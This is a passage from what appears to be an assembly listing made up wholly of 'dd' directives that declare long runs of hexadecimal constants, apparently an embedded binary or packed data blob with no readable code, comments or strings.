32223CCBh, 0E8030073h, 28EC311Ah dd 553C46E4h, 5F92803Dh, 0E16112EBh, 720B04Bh, 0A7F8B673h dd 0D26C6096h, 0AC004377h, 90168A4Ah, 7DA1C528h, 45411850h dd 1C404E5Eh, 78FC8100h, 4CE7E536h, 189A0064h, 871E3FEh dd 41002C88h, 591C215Bh, 5B862h, 0C8A265C6h, 5E717E55h dd 28485C00h, 41107516h, 0A7660183h, 3661E406h, 0E589F452h dd 7CBF5F00h, 0B1E6F8BDh, 858200A2h, 9AEC371Bh, 40BC11Fh dd 7159CF0h, 1DE0E994h, 3D019BFAh, 0FEA85Fh, 0AA443D83h dd 14BD60C1h, 4286A00h, 8D510AB9h, 666800F0h, 547AD7D2h dd 1771FFC4h, 0DC432503h, 9935C740h, 0F5F00F18h, 0B3CE001Dh dd 2CB9DDB5h, 920758CCh, 0C3D8E7Ch, 0FF748199h, 6F8E9E3h dd 8DDF00F8h, 43443883h, 3216309Ch, 0F603F01Ah, 0D914515Fh dd 65D05CB8h, 2F0A00BAh, 53FCD75Ah, 0F0EC1B4Bh, 6071BB1Dh dd 3A09FE01h, 6A6013BCh, 3691000Bh, 50313208h, 541E5FE8h dd 59C0DE01h, 6517F91Dh, 0F56F002Dh, 84326410h, 21012C6Ah dd 770C2670h, 0C6F41F47h, 5E100DDh, 0B4800AA7h, 6100E975h dd 9EEDEE4h, 16361DE0h, 51030Ch, 4488934h, 805062Fh, 558FB977h dd 59240DC0h, 99763F1Ch, 0CE800F7h, 36F716A9h, 39007268h dd 50341003h, 0BF0B27Eh, 23DD9A4Eh, 2946C980h, 12002B58h dd 256ACBC6h, 0FC8FA920h, 73BF00EEh, 24A31376h, 6F00B00Bh dd 5508A2A1h, 4C33DE90h, 1C1F3CFFh, 0B844C056h, 5F4C2710h dd 0B4A39600h, 25AEB606h, 0F2B971F8h, 6EC60032h, 218DD374h dd 4B01C42Ch, 7B84F427h, 852064E1h, 95891EF8h, 682AC028h dd 541C2B26h, 0DB61602Eh, 12AAD200h, 0B89A9C39h, 0B4D00005h dd 1819A021h, 0FF007068h, 0F58547C4h, 50C192h, 0FDA71FC5h dd 4FA90B13h, 0BE0424EEh, 0F12F4623h, 28088FC0h, 752E0042h dd 47350CEFh, 84001021h, 0A8C3E1DFh, 72820Ah, 0FDFCE977h dd 15F5B924h, 84B25700h, 208C0D8Bh, 89000D3h, 656A4F3h dd 37B456Fh, 0D7B44813h, 21D67000h, 3E291DCh, 3842E19Eh dd 77D01CE0h, 0B8B850A9h, 0A1D18F00h, 42AA049h, 407400D0h dd 65088A82h, 2B00640Bh, 0A5508E93h, 0E9498Dh, 0B9DC4895h dd 0FCE27EF3h, 4A16D41Fh, 322A5781h, 0EE4C652h, 20EF0062h dd 3730C322h, 354CC288h, 102F005Fh, 238629CEh, 227DD5h dd 6370E124h, 124085AAh, 0CFE97900h, 2CBAE75Ah, 0B23900BEh dd 0B79FACDAh, 0EDFA121Eh, 0A429BF00h, 0AFBC132Fh, 0D5202ED9h dd 0E00A0046h, 0CF74324Ah, 87ECA63Dh, 692F211Dh, 5CB60DE0h dd 1CD40071h, 0C4958EFCh, 7600B54Ch, 0F405424Eh, 2C7D4BC8h dd 3EEA50Fh, 0A12811A3h, 8B5025E8h, 0CCB2FD00h, 19BD5CDEh dd 14F43F9Bh, 6380D8BFh, 0CAB8017Eh, 0F8008B27h, 6A0C3CFBh dd 4382610h, 1672FD82h, 74C18391h, 24BFCD8h, 33154D0Bh dd 948B80C9h, 98772B18h, 0EB2A1F2Ch, 0DC108013h, 8AF44054h dd 0E9000979h, 52CCC7BFh, 54B1D57h, 39B35063h, 8C7D8048h dd 0D400BFA8h, 0C1E39F11h, 75AD55B0h, 121A0056h, 4A021C8Ah dd 0F2005A15h, 81AE525Eh, 39305C88h, 238F4EFFh, 1170585h dd 14313EF9h, 0B01AF81Ch, 0EAC1D000h, 7FD74586h, 0CA4707E6h dd 80A589E7h, 0BF08A1A4h, 0EA007875h, 0B36C9E9Dh, 0F8B73CEDh dd 0EFAB1762h, 4833020Eh, 1460D123h, 0C4721B33h, 80213838h dd 43270832h, 7D2E112Ch, 0E37D3F25h, 0AC42BC00h, 697B6BA0h dd 0A9B82D00h, 0BF981E86h, 508807EAh, 53260529h, 94C12084h dd 2D30EC1Ah, 2FC38100h, 584C54CBh, 0BCC80023h, 0C1F4244Eh dd 3C005C3Eh, 0A1C3652Dh, 12560Ch, 0AB34BA16h, 82D7F699h dd 0B8A42402h, 40217AD4h, 0C8D9AFh, 28E6C4DFh, 84E44335h dd 2AAD7404h, 0FCC0230Dh, 3DEC45FEh, 108097F5h, 0C6EA3AD5h dd 8D010F96h, 2B5AC84Dh, 79E4FA83h, 0EA1FE55h, 37EE4F98h dd 218E0E3Eh, 7346245h, 8039618Ch, 6D083367h, 112D4303h dd 0D8DD2674h, 0AE28EFh, 7CB11654h, 665779B3h, 0A1844900h dd 9EE6FFECh, 53F80011h, 67043699h, 4900D75Bh, 0F3563773h dd 752C1594h, 33550048h, 6D815EF6h, 6E00A828h, 0A90DFE14h dd 490915h, 4E7AA510h, 3420C573h, 4D7C5500h, 24EF9639h dd 0B964008Fh, 0D629CB32h, 1271A80Eh, 823C8300h, 0C5226B8h dd 0B7CA1C5Eh, 5B7F4F48h, 0FC25B180h, 0AB06DB75h, 0FE78D336h dd 3D17001Eh, 8A4CA9D2h, 0A7001850h, 0D0FFF8E0h, 4022A6h dd 68761E30h, 1A4C1241h, 9C0082F0h, 292C570Fh, 0EE5C2820h dd 0B0524B81h, 8F859F0h, 34A5B000h, 7C2230C4h, 0A35D269Eh dd 6C25019Bh, 0D84F0FE8h, 8800D713h, 0ABA994DBh, 0F5DFB9h dd 1D8BEC71h, 9B671047h, 3024F1A1h, 1F01AA67h, 0BA6B335Fh dd 89E8A1F0h, 0B5041FB0h, 1A4A833Bh, 258B2992h, 0E8185788h dd 93C81500h, 2B0AE955h, 899C001Fh, 0C56F7129h, 72EA0480h dd 275C1500h, 2225D4D3h, 0B95700F4h, 5ADC5624h, 30B0DB0Ah dd 164B2948h, 5E00FF1Bh, 0BA7CA462h, 0AC910349h, 0EB140A10h dd 3B880C98h, 7033BD03h, 0F1B250B1h, 0ABE88B47h, 2AB603C8h dd 97E8115Eh, 276A13C0h, 3EDC4400h, 3D106F37h, 4384003Ch dd 30492136h, 473E500Ch, 0E79F8229h, 0C0B0DEE1h, 0B7F8D47h dd 808391A2h, 6E20BA0Fh, 0F4102B25h, 8537FE02h, 0C0AE4330h dd 0C2FC0h, 504D186Dh, 35C46168h, 213BE90Fh, 0ABED27A6h dd 0C2261420h, 0DD5607D2h, 300DA10Ah, 0B2284989h, 2D42E700h dd 0CDB624AFh, 767800FCh, 0C50D32BDh, 45E41975h, 287709EEh dd 0EB7E1800h, 0E9269B1Eh, 104F009Fh, 39132904h, 283C0693h dd 0A58507CAh, 4CB09561h, 1FAC1C15h, 9624421Eh, 80FE0308h dd 0D8A13B02h, 0ACF770B7h, 0B6F4831Ch, 0AAE1780h, 371656h dd 0E9140820h, 52FE2B10h, 4967803h, 0C8544846h, 0F002F969h dd 6555093Ch, 9180C7CFh, 1F2360C4h, 59758400h, 7370620Fh dd 14320B50h, 228E7412h, 40C617E0h, 0C20E901Dh, 4296A26h dd 45C33944h, 0C838D83Eh, 2BC43E32h, 0B2BCE2B0h, 8C0781B1h dd 8255AF70h, 206E36h, 28978B99h, 2D7BDD10h, 801AA100h dd 0BC2E31EDh, 29B0BDh, 9024A40Fh, 290A530Ch, 440023B8h dd 2E518B10h, 1FAB3914h, 8F12151Fh, 827E0EC8h, 618200Bh dd 45C73C60h, 0E4F63Fh, 0F264F40Dh, 303115h, 1DD84EDDh dd 17A966Ch, 9EE0DF18h, 21350E4h, 0C11870FFh, 8F601406h dd 0E90B2FF2h, 7CF6045Bh, 0B01B0047h, 0B501232h, 0F211F400h dd 80186258h, 4E9C0EE8h, 3A00D22Ah, 0C83F103Dh, 33643900h dd 43142C62h, 0B4F2EAh, 0A2822456h, 0B9A4C917h, 228E0B00h dd 716F2026h, 1E1C7533h, 80CBA687h, 0D4A0FC8Fh, 0EF01BACEh dd 0C4D35C39h, 0B040B21Ch, 1135806h, 0D2458917h, 0F8558B4Ah dd 0D6004076h, 0C438A760h, 7ADC08EAh, 0BCE607D4h, 90DA448Dh dd 137E5C0Ch, 2C359B12h, 9400AC1Ch, 0A9EFE8CEh, 8A6A01E1h dd 19247DA4h, 0ED88D02Ch, 21DE3B00h, 0F20840ECh, 0F842023Ah dd 2DFF1834h, 0F84E14C1h, 0B5128DC2h, 0DA1F0515h, 3E7AA7C0h dd 0F96063h, 3BE8C845h, 5A365CB5h, 3CB85D03h, 0C84F8AC1h dd 33E3D99h, 3432070h, 22E075A1h, 0E8E32350h, 8F00C519h dd 8381AF41h, 3E04C4h, 9DE52927h, 32F80E34h, 0A9527C00h dd 0F11969C9h, 0B7BF003Bh, 24501FB9h, 400C5B0h, 8B45109Fh dd 0ECDAA8C0h, 0EBB80381h, 0F0FF0369h, 20B2709Fh, 3D00307Dh dd 5C378C8Bh, 1F947723h, 0F5876h, 0C355251h, 0D20FF3E8h dd 0E0F0BE33h, 0FFC80A83h, 0EB9881h, 604FC319h, 92158D13h dd 2351500Ch, 0ADA410h, 0B80A38A9h, 0F433F14Bh, 13060538h dd 94010807h, 1814100Eh, 280340C2h, 40380030h, 70076050h dd 0C007A080h, 64010AE0h, 91024820h, 4220303h, 18490545h dd 100D14A0h, 39780658h, 67093A84h, 0C870B72h, 0E1FFFAFh dd 10800F9Fh, 0E40111A9h, 51700212h, 564BD18Bh, 57803043h dd 4004A39h, 2F533572h, 387AF8BEh, 8A8B029Ah, 0D3814018h dd 0C8E0AD89h, 0B70E0842h, 5E27C18Fh, 0EB7152h, 0B4F97DBh dd 2A0001AAh, 89FE0304h, 752FBDh, 0C13B14C0h, 0F45BD273h dd 48F17200h, 2B011027h, 0E8D30ECEh, 7E046ACh, 7025CF93h dd 1C009174h, 89610604h, 95E1E3Eh, 7565C259h, 60088F57h dd 0B2938481h, 92FC0091h, 821917A4h, 14008C1Eh, 7B73E5FAh dd 10CA812h, 531D9866h, 0D9565528h, 0F736011h, 0AA517800h dd 8D94702Eh, 2CBE00CEh, 0ABF3F6C0h, 953DBC8Bh, 3B0980F1h dd 2F9BF8EEh, 80760020h, 380C8A68h, 5C0E128Bh, 8318288Ch dd 80404308h, 89C53Bh, 0B9EB7219h, 5F61A217h, 666C6300h dd 154406F7h, 33680018h, 0C71C0DFFh, 5124C892h, 891F0701h dd 6A8D1980h, 142708h, 2C349640h, 3E00AD3h, 0DE81F800h dd 71890143h, 0F1400CCh, 6C788E87h, 7D007E30h, 3C5D0EC1h dd 2FC303h, 1F60E2F1h, 2481FD40h, 0A46C5Ch, 0C948758Bh dd 0EE6DB10h, 90BADA9Ch, 0C5EEC140h, 2570CE1Ah, 0CB2B3E00h dd 518AFB03h, 0D3B900D8h, 0F86C12B5h, 0BF00697Fh, 0DD67705Fh dd 0E98314h, 0FAAD220Bh, 20FEA4CAh, 0BAFDAE00h, 0EACFDF7Bh dd 4AA20084h, 4023835Dh, 0C600AC49h, 935CA6Bh, 0B251F89h dd 0F98209Bh, 42923280h, 0FF0096ACh, 0C9017FF6h, 5BC032h dd 0D2982630h, 824B221Fh, 715461Fh, 76CE85DFh, 995FA03Bh dd 318ADFh, 0B20A7BC8h, 88119422h, 608F5300h, 896884BAh dd 8748000Ch, 0E2376D3Bh, 8D1F1898h, 524A4721h, 411FA038h dd 0CC72C8C0h, 9B0AD10h, 5F51E201h, 57738980h, 300064Bh dd 307208EFh, 8A40DFh, 4D884111h, 0BF7D0554h, 1E0D6B02h dd 40E1C113h, 0FA9AE25Ah, 50CA0585h, 80C2B003h, 0EB317BFCh dd 0F9179E00h, 27D0730Dh, 4C373838h, 0CA1FA7D8h, 7E854080h dd 0FEC1E325h, 225CA601h, 961264A4h, 0C8D49331h, 20070080h dd 8A1EDC63h, 8700111Ch, 103BEBD3h, 39732C46h, 2800C30Ah dd 9278D21Bh, 3F00F3FFh, 7A73014h, 58FDAF5Fh, 3428B28Ch dd 735B892h, 0D123881h, 3C027311h, 8B0F2EC0h, 79C90E00h dd 6FFA8430h, 410A0089h, 18B9961Ch, 0C37E7143h, 0E85FE600h dd 4977CF9h, 0C1030744h, 51898E8Bh, 0EC93022Ah, 0F5005981h dd 330926D9h, 3F40A1D2h, 248068B7h, 8A3C16F9h, 3D002D88h dd 48EF1ADFh, 0E3D37Ah, 2FBC0373h, 0E6723A04h, 8D8B881Eh dd 66074FD7h, 0E850D168h, 2E6F08h, 1C6A6042h, 0E1A08F8Dh dd 0DA0E5D00h, 59883007h, 54024C13h, 87891A00h, 4E406B60h dd 0C9F50500h, 0EBB25B0Fh, 1D57FE42h, 796695Eh, 0A08D4307h dd 0D3C9FF6Bh, 97BF2000h, 51E1907Ch, 0B5540482h, 8014980Ch dd 0B99D50F9h, 1376BDF4h, 2A02421Dh, 584581FEh, 0A960CD20h dd 4814D760h, 0AA03A0D0h, 315432E8h, 27C65FE8h, 30C2201h dd 29D98B2Ch, 9E208DD9h, 2470B86Ah, 19CD5Ch, 2416712Dh dd 0BB00141Dh, 96535536h, 7405AA6Ah, 32043F34h, 0C1608809h dd 83010800h, 720013FEh, 47BB8DEDh, 0F36A78h, 65FC5097h dd 322E2D17h, 3F0B923Eh, 860D000Fh, 0C46CC359h, 2FA90031h dd 101C0312h, 0E7031573h, 8A0752DAh, 0D0BA0514h, 1C0FE280h dd 24340383h, 75E0EB46h, 0FF006A28h, 3083594Ch, 3F203C0h dd 22814E7Eh, 7D80F5FEh dd 4C008A52h, 88482334h, 1D4DB0EBh, 8FEA7F2Ch, 7640366Bh dd 36A0AE3h, 80502D3Dh, 0AE07FC0Ch, 0B640Eh, 17711377h dd 24A343C6h, 4846810Fh, 0A0ED4F94h, 738C0F82h, 8D0700C9h dd 0A0C77E31h, 520F104Bh, 6041ABA7h, 29472484h, 888B0074h dd 22A55057h, 11F88CE1h, 51389A72h, 18C0B046h, 83C660h dd 66B90264h, 4BC8085h, 0D22B1C00h, 6A20AE75h, 0EBF02872h dd 481B0792h, 30517F60h, 0C5D22165h, 6E45BE0Fh, 1088C080h dd 410B40h, 14F7754Eh, 0E847A843h, 0DC0045B8h, 0C25E900Fh dd 42F4EEh, 830B6C5Ch, 8B5DABECh, 0CCA9081Dh, 0B7C15940h dd 57E21Ah, 2C6BDC33h, 82672E65h, 860F1000h, 4E528743h dd 68190E99h, 1307293Dh, 0DB0D2073h, 0D100D688h, 0E2A76141h dd 1CE92381h, 80983550h, 830F4FD0h, 4100FB67h, 9D480905h dd 7702D8E8h, 0EDC11313h, 2EE50003h, 0A007A384h, 9D140603h dd 0E842A75Eh, 0F7AC668Eh, 3B4E4760h, 0C11E084Ah, 0E94C0298h dd 0A2C09B59h, 4022032h, 5A5CCC66h, 0CD2406Ch, 15AC00E7h dd 0EE56D1CDh, 8BF44E10h, 47B8DF00h, 8C7EA7CEh, 1B3F42Ch dd 5CF17CDh, 0ECEAD3D6h, 0D77E8967h, 6DE41A03h, 0E04ADA52h dd 1F887A06h, 0EFA8C530h, 0CA004874h, 11893177h, 2286008Ah dd 9C8B042Dh, 520168AEh, 952CD8A8h, 9FC3496Ch, 7674FAD0h dd 0FF830707h, 0F0717203h, 6F458146h, 5A22FD00h, 4163133h dd 0C1C50117h, 136612E2h, 852CD06Bh, 0B4012F7Eh, 312505B5h dd 75D6BD73h, 0C70BE360h, 575D5300h, 82C69345h, 73350338h dd 961579CFh, 3C8C0D0h, 0EFD3C500h, 0CD46408Ch, 79CDB821h dd 1DC8B892h, 3F720130h, 0F81CF600h, 835BEB14h, 6C52B200h dd 0F51620A2h, 139E751Ah, 0FE504647h, 345AC400h, 0B34D81h dd 0D8B21D94h, 850CDC80h, 503FB00h, 8C8B1A73h, 0B589009Eh dd 302E2868h, 0BF012CE5h, 11529465h, 86E0B9B8h, 154A00C8h dd 0FDBB8349h, 5800FA89h, 31F61E8Fh, 1C508EDDh, 89960608h dd 0C10F1407h, 0BD00BB96h, 7E739770h, 2CD0E010h, 0B6D12Bh dd 90508812h, 0A600FDE2h, 912E7B24h, 0C70342h, 43F5135Ah dd 0CEF20BC9h, 94FCC600h, 3B1C0CE3h, 728016Eh, 0FDC3820Fh dd 2C47E8FFh, 38892614h, 0C40F72BAh, 60187514h, 0F519DA28h dd 709FF294h, 458800D6h, 6D785841h, 63EE1F8Dh, 220EE260h dd 571173h, 0DD2FF67Ah, 9BA9A41Dh, 0F3B5EE00h, 29A88A7Eh dd 644C01F1h, 85F86888h, 3CAED465h, 433E307Dh, 0D08C1D46h dd 4576FEFAh, 5B763871h, 9132AB01h, 0DD23B262h, 90259887h dd 60F01050h, 941F09C4h, 706F084Dh, 78ECEA7Bh, 54D40751h dd 0B710A411h, 8AD0308Ch, 9CF4CC33h, 64097000h, 48D218Eh dd 0C8F1EB0h, 40248380h, 9399F494h, 48C0DA18h, 77006106h dd 10AD9C01h, 96C62h, 0A004AED0h, 8B7EC44h, 2888BC00h dd 0B8F80DB9h, 119900D9h, 12C80930h, 0DC002280h, 44AC04BAh dd 3C08BD84h, 59139C54h, 40AF41h, 885C118Ch, 0EC0CFC09h dd 43BD24h, 0E40E0D0h, 705CB07Eh, 1218014Ah, 487824A8h dd 10F591F9h, 0F4DC15E9h, 5801F60Bh, 0B201D794h, 9C24CC09h dd 0B1BE2046h, 0ED12F928h, 4027B0F8h, 3D93D445h, 3423CC00h dd 0B5497446h, 803C1938h, 90D511A7h, 64B814h, 13E817C5h dd 7765F75Dh, 0AA66C201h, 0CCD501F8h, 54019DC2h, 131C3200h dd 8D0EC08Bh, 1150040h, 181F4C86h, 2000D431h, 3244808h dd 0E038E632h, 6E750052h, 656D6974h, 7217E420h, 48036FE2h dd 0F0610183h, 3B30EAh, 45514086h, 8011BF18h, 629A7995h dd 0E8554241h, 12057DFh, 550DEC01h, 0DC4E980Ah, 4F0164C5h dd 9149C0Ch, 3CEC40C4h, 271007D4h, 231FC1F9h, 1EF3911Ch dd 1DE20AD8h, 0AB189700h, 5E24F001h, 36C2DADh, 0BA6D7Eh dd 3305265Ch, 305374h, 8409227Ch, 89948C44h, 0A4129C00h dd 0B448AC24h, 22BC1F91h, 0D4CCCFC4h, 0E4EFDCEFh, 7C0FECE9h dd 410FCE0h, 0C072254h, 891C1444h, 61310EFBh, 913C4834h dd 0FF4CF9F3h, 64F95CEDh, 74ED6CEDh, 0CD207CEDh, 94893F8Ch dd 2259C82h, 0CE4AA872h, 8E0567E0h, 23644700h, 0C56A9165h dd 615703B0h, 485808E8h, 0FC8E6099h, 11005914h, 0E2C4C86Ch dd 74315A1Ch, 468807D0h, 50E8235Bh, 0D1CF5C9Ch, 7FF4C813h dd 0C25DE600h, 3C3156F8h, 0D380230Ch, 0A419782Ah, 300738ADh dd 404CD033h, 8E6FF60h, 64110001h, 48200910h, 31079130h dd 5AB97012h, 0FF606F7Fh, 2726807Fh, 74F06822h, 0B0CC7EBFh dd 0E1081CD2h, 133C400Eh, 9580C41h, 88896804h, 19C59012h dd 22C4B940h, 3DE044CCh, 1808A34h, 200F9831h, 88001040h dd 11123008h, 98482238h, 89703A56h, 1D399813h, 0C6A80093h dd 8A5F1D8h, 0EF00F0F8h, 81A9E888h, 0A8ED12EEh, 291E2E0h dd 20E022E1h, 4243AE3Fh, 11438990h, 0EEADDA30h, 301002B6h dd 0B91A1624h, 0A5986104h, 5F91601Fh, 60C1544Eh, 0BC4C85B1h dd 0D8191ECCh, 882AC150h, 0D00A812Bh, 6C26FC21h, 1403C426h dd 8818E04Fh, 9B5254h, 741C1394h, 88B8C848h, 8031C53Fh dd 26AC5F60h, 3D80C354h, 4033369h, 0D8E46C21h, 41DF1490h dd 32EE71F6h, 74BA1150h, 449C6E00h, 51CC107Ch, 98293ABCh dd 493C0EFDh, 34A0C8ECh, 416BE885h, 74654DB0h, 4A80F4B0h dd 398F89Bh, 621451C0h, 80E433E9h, 220829D5h, 0B1908102h dd 0DD663824h, 0C47C34C0h, 10798272h, 0D471CC1Eh, 20A06B80h dd 74440419h, 32842C91h, 0FCB01830h, 0FC7F6509h, 6C9C2C00h dd 6D108854h, 5D6EE92h, 0C683308h, 52868016h, 0CC587C67h dd 87913D3Ah, 26A808B2h, 4444950h, 3E64FED4h, 77579D9h dd 4C33BC67h, 6924A051h, 655C28A4h, 0F3B40767h, 52401116h dd 48AC8C63h, 14160EC5h, 82651EA9h, 941066E8h, 6AC46840h dd 76B3E4Ch, 2CCA9858h, 4CD73317h, 0D4144150h, 60DA24EFh dd 99F9042Dh, 7C368329h, 0D4BC59A9h, 88005308h, 0C9111078h dd 0A42864h, 5C19CB1Ch, 0DCC244BAh, 0F96CEC00h, 90264C45h dd 0DB665809h, 5611841Dh, 18DC007Ch, 9C9468B9h, 210099F6h dd 267412D0h, 0CF6F19E4h, 22EF1568h, 0A09C66E7h, 1C5D39B4h dd 88CDB000h, 0BF015F29h, 14AE198h, 1A5C0EBh, 0E8725887h dd 70C81303h, 86F60053h, 2B2074B8h, 140071FCh, 6848F244h dd 7532F8h, 221F7881h, 0C49447ACh, 8761C00h, 12A2F9B4h dd 203E00D4h, 3C237868h, 0BE00C472h, 0B1FA5048h, 48996601h dd 7C587931h, 0C424AC09h, 22EE2B40h, 0A20FE00h, 28184473h dd 123E0589h, 90602454h, 90227E9Dh, 0B87FA2FEh, 0DA4DCA7Fh dd 95FA02E9h, 0E132F008h, 36ED2616h, 9142ECh, 4460224Eh dd 8E897E70h, 0AAFEB7B0h, 33015400h, 29D611C4h, 10E40309h dd 897536B8h, 582445B8h, 95560126h, 7856681Eh, 99985841h dd 11CDBA1Ch, 0F4D6AD30h, 0F887C0E0h, 2076068Ah, 992A462Ch dd 241F3C13h, 0FC416056h, 20945384h, 344B0D4h, 0E289D2C0h dd 2F0F212h, 1A3E0677h, 382A9F09h, 1D404A57h, 91864870h dd 0A8223F98h, 0E638BCB3h, 4C9F8FBh, 4814C878h, 365C91FEh dd 5A45023Ah, 0C0740143h, 14098213h, 90A42590h, 898C800h dd 7239656Bh, 6C836E13h, 0AF6842FFh, 4303106Ah, 72759074h dd 6E67008Fh, 0E685473h, 643B610Ch, 36168049h, 0FC304644h dd 723A0043h, 633DF269h dd 5300BF61h, 6F10C675h, 65316Eh, 2B76444Ch, 456D7017h dd 4AB07E00h, 0DB49CE18h, 60F127h, 0B335007Ah, 0D372FB56h dd 22013775h, 0E1AEC46h, 96C44151h, 7063636Fh, 1CD8574Ch dd 1A00196Ah, 512A995Ah, 0E428D3h, 57181079h, 68BC6469h dd 54FA6100h, 754D6F0Ch, 42B8016Ch, 34A27974h, 2E56F0BBh dd 2D69210Eh, 7A42DF87h, 0C36E0EDAh, 63C2F800h, 1B790070h dd 0D0FAC451h, 601E6269h, 45C04A72h, 18934178h, 0CA1100A4h dd 12D2BE7Dh, 7B785339h, 0D670F900h, 416F6605h, 24DFA23h dd 0D27764CBh, 0AEDE4630h, 0FF6D6100h, 74493A59h, 53271E34h dd 0DC24C012h, 6F1C6745h, 8F74E43Dh, 0A0896DD3h, 55E9BA6Eh dd 1497435h, 1DA8805Dh, 0FC2C9083h, 63005850h, 92C67365h dd 3A4AE0h, 531962ACh, 1A0A74D4h, 706F5003h, 85714Bh, 90144598h dd 0DC21664Fh, 0FC521F00h, 776E550Ch, 0A2643B3Eh, 18BFAA80h dd 735F7EEFh, 0A8B2F600h, 0A59C7048h, 64D03B31h, 44865680h dd 2DA110A6h, 7AD15300h, 7928EE4Ah, 6DFE00B4h, 0FB695439h dd 3F3E1EA5h, 0E55C10h, 951A2A43h, 764FBECAh, 0B89A00D2h dd 93754999h, 6C017214h, 79E64B5Eh, 0DB6248h, 0D23A6414h dd 0A0EE6A26h, 676ED30Fh, 534D40A1h, 0D761E3h, 4B6F4252h dd 76303D75h, 69709400h, 0BE09A53Ch, 0E4190067h, 0A44B2156h dd 0EC00960Eh, 8ECD4F29h, 3F27A86Eh, 7D806AA7h, 0DACA23B4h dd 500070DBh, 927494CCh, 7CD8D4FAh, 966607B8h, 0A16F4816h dd 70A9493Bh, 0BD00CA07h, 9452C93Ch, 14A156F7h, 9074ED4Ch dd 299F9107h, 26C02E14h, 52256A8Ch, 7C7ABC00h, 0F984D454h dd 0B87A53h, 6947230Eh, 154CD6BBh, 0AFEE3Ah, 2A22E964h dd 393E1F6h, 0C412EA28h, 0D5F19B41h, 92A7CC14h, 6A405200h dd 75FC7960h, 706D0048h, 0F49859BEh, 0C32687C4h, 2A0090E2h dd 0B29D774Ch, 10B6074Dh, 806BEAA9h, 80AE73A4h, 0B17F3C07h dd 72E04A86h, 1EFB3744h, 5EC66D02h, 919C4069h, 561841BAh dd 73CACD02h, 7596451Dh, 0B5E80763h, 41004F88h, 2ECE6471h dd 36D3273h, 6BB63656h, 0C2DE1F8Ah, 0A9192C00h, 824445A6h dd 66FC5Ch, 61702824h, 69414ABAh, 0C8675600h, 16644914h dd 0C7300B9h, 50120AB5h, 190F356Eh, 248B1Eh, 1A724159h dd 9B880AB4h, 8FAB43h, 9F52BA48h, 9A003996h, 0CEC66E25h dd 0B0B167h, 4B90B3D6h, 122EAC15h, 4A645B00h, 488C6329h dd 0DD940244h, 5F676F0Dh, 28EF6D60h, 9D13C87Fh, 4E008AA2h dd 0B46F5C35h, 14550375h, 47817EDFh, 0C248C0BCh, 5F380197h dd 0BF0152B0h, 100070ECh, 16E3CE0h, 300708h, 472C270Ch dd 1E9E6F38h, 449F4007h, 4C47481Fh, 54875067h, 6AC762A7h dd 7AC772E7h, 8AE782E7h, 9AE792E7h, 0AAE7A2E7h, 0BAE7B2E7h dd 0CAE7C2E7h, 0DAE7D2E7h, 0EAE7E2E7h, 0FAE0F2E7h, 1310287h dd 4712270Ah, 0E822671Ah, 3207A72Ah, 42E73AC7h, 52474A27h dd 62875A67h, 72C76AA7h, 82E77AE7h, 0B6E7AEE7h, 0C6E7BEE7h dd 0D6E7CEE7h, 0E6E7DEE7h, 10E1EFE0h, 0C9180032h, 0D887D180h dd 1C0033CFh, 9D953446h, 0F8EE1DDBh, 0FC355864h, 4041E91Eh dd 44C92936h, 0D800D7D1h, 62723826h, 767F74h, 7A95788Ah dd 7EA77C9Dh, 0BB74B172h, 0D778D176h, 0F800E57Ah, 839021Ch dd 0EE1D169Dh, 1E24019Eh, 1F429F36h, 0D95DD151h, 0E970E165h dd 0F983F176h, 53A3F189h, 0BEF3B4A4h, 0D4F3C8F3h, 0F0F3DFF3h dd 0FE98F6F0h, 1F3A5C00h, 4BE82AE4h, 1637EECh, 0F89AF482h dd 0CBE2FCA2h, 394740AFh, 3A00673Bh, 3C970E85h, 0D74EA4h dd 0F6CFDD8Eh, 843FF0Fh, 93133D00h, 0B323A31Ch, 39C30032h dd 0B4E35BD3h, 0F000BCF3h, 0E45F3E41h, 3D6AE864h, 0DC1DD6ECh dd 0F5F840F4h, 3F393AFCh, 590085B0h, 833C773Bh, 7C3E8B3Dh dd 70E838BEh, 0CCE02085h, 295C192h, 0D89B613Ah, 4D013C45h dd 5C3E533Dh, 68C9633Fh, 0E246ED0h, 0A89F3281h, 0B68EAE4Eh dd 0E60FE0CFh, 1087F840h, 27001C31h, 923B4424h, 0F7495A18h dd 390E23D4h, 0CA3AC43Fh, 2087FC3Bh, 104E3E32h, 5CCF548Eh dd 4FB60F03h, 0C3CA8FC1h, 0E0E0D3D0h, 3AC3E9h, 51934133h dd 61B35BA3h, 0D30369F4h, 0F375E36Fh, 0F086907Ch, 5534002Dh dd 7FE873E4h, 0E1F487ECh, 0F8E7F400h, 3912FCEFh, 3A2A0035h dd 3C36484Bh, 91073D7Dh, 8B0E9F3Eh, 0B6439E90h, 90C10037h dd 0E4F138B2h, 17E23901h, 3C4B8FA8h, 773D6203h, 0C838B13Eh dd 0BA92B9h, 0BCE2BBAEh, 3C2A8EF6h, 704E521Dh, 0EDCB381h dd 7DE0283Dh, 3E090183h, 0A35B9335h, 0C4EFFCABh, 9900C970h dd 4B0F7C06h, 7E969E1h, 0F9BCF18Bh, 80D087C5h, 5BB653FBh dd 496E9207h, 0C8C0B8BEh, 39D4BA24h, 0E000DAFCh, 0FF9FBC91h dd 32090D87h, 832F2717h, 0D08F6725h, 0EADA794h, 0C0E7B8C7h dd 0DD80CB4Eh, 0BA43E3E5h, 15330200h, 1FA21A93h, 4FC039A7h dd 5CC5578Eh, 0CF74BEA0h, 2A00C382h, 63903634h, 31FFC38h dd 393C443Bh, 0EAB0DB3Ah, 3D00031Eh, 0F8B35CA4h, 0BAB2C9h dd 2404841h, 300D21BCh, 0D1F42B7Ch, 95D97F00h, 4C31E1E0h dd 714800F2h, 4B753973h, 79006977h, 7D7E7B72h, 221C85h dd 0F79DCE33h, 587FE1Dh, 27C43400h, 354E41FFh, 94C800F9h dd 1CC67236h, 5F0E3724h, 2004EC9Dh, 0B9C71538h, 64480047h dd 3332D059h, 0E4003F3Dh, 0EC50E846h, 369F05Fh, 85F873F4h dd 0A7939BFCh, 0CC92B5A0h, 3AC37E39h, 2DD026C9h, 0E89FDF9Eh dd 0F980F11Fh, 73E031Ch, 1D0D009Dh, 1E179E11h, 33139F1Bh dd 351D381Fh, 5600479Eh, 0EE4F6092h, 8ECF3977h, 9E3B963Ah dd 0AE3DA63Ch, 0BE24B63Eh, 1C30082h, 23930D3Fh, 0B347A30Fh dd 0D374404Fh, 398AE37Ch, 0AA3A90F3h, 0DE3CBB3Bh, 0FCF20079h dd 450BC84h, 1E20364h, 93063000h, 0B327A319h, 4FC21231h dd 0F90D07C9h, 50802773h, 9A8AFC32h, 0F27E2639h, 0AA76A274h dd 